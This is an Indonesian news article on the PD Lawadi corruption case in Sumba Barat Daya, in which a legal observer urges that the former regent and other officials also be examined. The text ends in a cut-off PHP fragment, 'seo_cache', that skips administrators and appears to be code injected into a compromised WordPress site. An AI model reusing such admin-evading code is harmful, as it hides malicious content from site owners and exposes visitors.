Hukum

Karena Ada Keterlibatan Pejabat Negara dalam Kasus PD Lawadi SBD maka Pertanggungjawabannya harus Sistemik.

×

Karena Ada Keterlibatan Pejabat Negara dalam Kasus PD Lawadi SBD maka Pertanggungjawabannya harus Sistemik.

Sebarkan artikel ini

JAKARTA, MENARASUMBA.COM – Pada prinsipnya kasus dugaan tindak pidana korupsi PD Lawadi bukanlah kejahatan tunggal atau modus tunggal.

Pendapat ini disampaikan pengamat hukum Greg Reta Daeng yang juga menjabat Coordinator Coalition Against Transnational Organized Crime (CATOC), Kamis (07/11/2024).

“Dikaitkan dengan persoalan PD Lawadi yang sedang ditangani Kejaksaan Negeri Sumba Barat, semestinya kasus ini jadi atensi serius pihak kejaksaan sehingga pintu untuk melakukan penelaahan dan pengembangan kasus itu ditangani secara serius,” ujarnya..

Jangan sampai kemudian penanganannya pada level kejaksaan tidak serius.

“Konteksnya ini kan ada penetapan tersangka, nah penetapan tersangka ini kan harus ada proses ikutannya, kelanjutannya seperti apa karena itu yang juga penanganannya harus transparan dan serius,” lanjut dia .

Ditinjau dari logika konteks korupsinya, yang harus dilihat bahwa kejahatan korupsi ini adalah kejahatan yang sangat berurusan dengan sindikat, berurusan dengan organized crime.

“Ini adalah kejahatan yang terorganisir, kenapa? Karena melibatkan sistem di situ otomatis tidak hanya melibatkan satu pelaku tunggal,” imbuh Greg.

Dengan ditetapkannya beberapa tersangka sebutnya lagi, merupakan langkah baik.

Tetapi harus dilihat lagi, apakah pejabat negara dalam hal ini pada level pemerintah kabupaten Sumba Barat Daya ikut terlibat di dalam.

Karena bukan lagi menduga atau mencurigai, tapi patut untuk perlu ditetapkan tersangka juga pejabat atau kepala daerah yang sejak masa aktif proses kasus ini bermula.

“Kenapa? Karena ini kan perusahaan daerah dan kemudian berikut perusahaan daerah ini dia mendapat suntikan dana dari pemerintah daerah,” tambahnya.

Ia menyebut, ada hal menarik dari kasus ini, dimana bupati yang pada waktu itu jadi kepala daerah misalkan juga ikut terlibat dalam aktivitas kegiatan yang dijalankan oleh perusahaan daerah tersebut.

“Nah ini kan sebetulnya konflik kepentingan., bagaimana mungkin seorang bupati yang kemudian terlibat dalam proses macam itu namun statusnya saat ini masih terperiksa atau sebagai saksi,” timpalnya.

Oleh karena itu harusnya, buktinya itu bisa mengarah untuk menetapkan bupati aktif yang menjabat pada saat itu ditetapkan juga jadi tersangka.

Karena kuasa pengguna anggaran utama itu ada pada bupati.

Sebab untuk memastikan dana daerah itu masuk ke perusahaan itu, juga harus melalui persetujuan bupati.

“Pertanyaannya bagaimana bisa misalkan keterlibatan penyelewengan anggaran, oleh jajaran direksi itu terlibat, tapi kemudian selaku pemegang saham utama pemerintah daerah itu malah tidak terlibat,” terangnya pula.

Sedangkan kemudian dalam tataran praktisnya, bupati dan beberapa pejabatnya itu misalnya ikut terlibat juga dalam proyek yang dikerjakan oleh perusahaan daerah tersebut.

“Kaca mata hukum kita boleh secara terbuka menyaksikan bahwa ini adalah bentuk mafia korupsi yang cukup serius, karena menggunakan kedudukan atau jabatannya untuk memberikan pengaruh agar melakukan tindak pidana korupsi,” tandas Greg.

Dikatakan penggiat anti korupsi ini, dalam terminologi hukum atau terminologi pemberantasan korupsi, apa yang dilakukan oleh bupati pada saat itu adalah upaya untuk melakukan perdagangan pengaruh untuk melakukan tindak pIdana korupsi tersebut.

Karena bupati punya kuasa dan jabatan maka siapa pun yang diminta melakukan itu dia merasa ingin dilindungi oleh si bupati tersebut.

“Jadi seperti saya bilang pertanggungjawaban korupsi itu kalau melibatkan pejabat negara harusnya pertanggungjawaban sistemik,” jelasnya.

Hal ini disebut demikian karena yang terlibat dalam pusaran-persoalan itu tidak hanya pelaku tunggal.

Maka OPD atau pejabat daerah yang membidangi atau punya kaitan dengan urusan pemberian dana tambahan atau dana talangan atau dana untuk operasional perusahaan daerah tersebut juga harus diperiksa.

“Dan jika ada bukti-bukti kuat yang mengarah kepada keterlibatan mereka harus ditetapkan tersangka juga,” imbaunya..

Dengan demikian tidak hanya terkesan sekonyong-konyong yang jadi tersangka itu semua adalah pejabat eksekutif di perusahaan daerah tersebut.

Berbeda cerita misalkan kalau itu perusahaan swasta dan tidak punya sangkut paut dengan urusan keuangan negara.

Sedangkan dalam pengelolaan perusahaan daerah itu ada keuangan negara yang ditaruh di sana.

“Kalau uang itu ada indikasi persoalan korupsi, maka harus diperiksa secara keseluruhan sehingga kemudian tidak dibaca oleh publik ada kesan tebang pilih,” pungkasnya. ( TAP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>